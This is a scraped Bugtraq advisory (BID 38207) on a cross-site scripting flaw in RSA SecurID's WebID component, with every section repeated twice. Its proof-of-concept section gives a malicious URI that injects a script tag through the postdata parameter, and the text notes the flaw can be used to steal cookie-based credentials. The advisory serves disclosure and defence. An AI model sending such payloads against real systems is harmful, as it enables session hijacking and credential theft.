RSA SecurID WebID Cross Site Scripting Vulnerability
BID:38207
Info
RSA SecurID WebID Cross Site Scripting Vulnerability
| Bugtraq ID: | 38207 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 11 2010 12:00AM |
| Updated: | Feb 12 2010 07:31PM |
| Credit: | s4squatch |
| Vulnerable: |
Rsa SecurID 5.2 Rsa SecurID 5.0 Rsa SecurID 6.1 |
| Not Vulnerable: | |
Discussion
RSA SecurID WebID Cross Site Scripting Vulnerability
RSA SecurID is prone to a cross-site scripting vulnerability because it fails to properly sanitize unspecified user-supplied input to WebID.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
NOTE: The vendor has discontinued this product.
RSA SecurID is prone to a cross-site scripting vulnerability because it fails to properly sanitize unspecified user-supplied input to WebID.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
NOTE: The vendor has discontinued this product.
Exploit / POC
RSA SecurID WebID Cross Site Scripting Vulnerability
Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example URI is available:
http://www.example.com/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a
Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example URI is available:
http://www.example.com/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a
Solution / Fix
RSA SecurID WebID Cross Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
NOTE: The vendor has discontinued this product.
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
NOTE: The vendor has discontinued this product.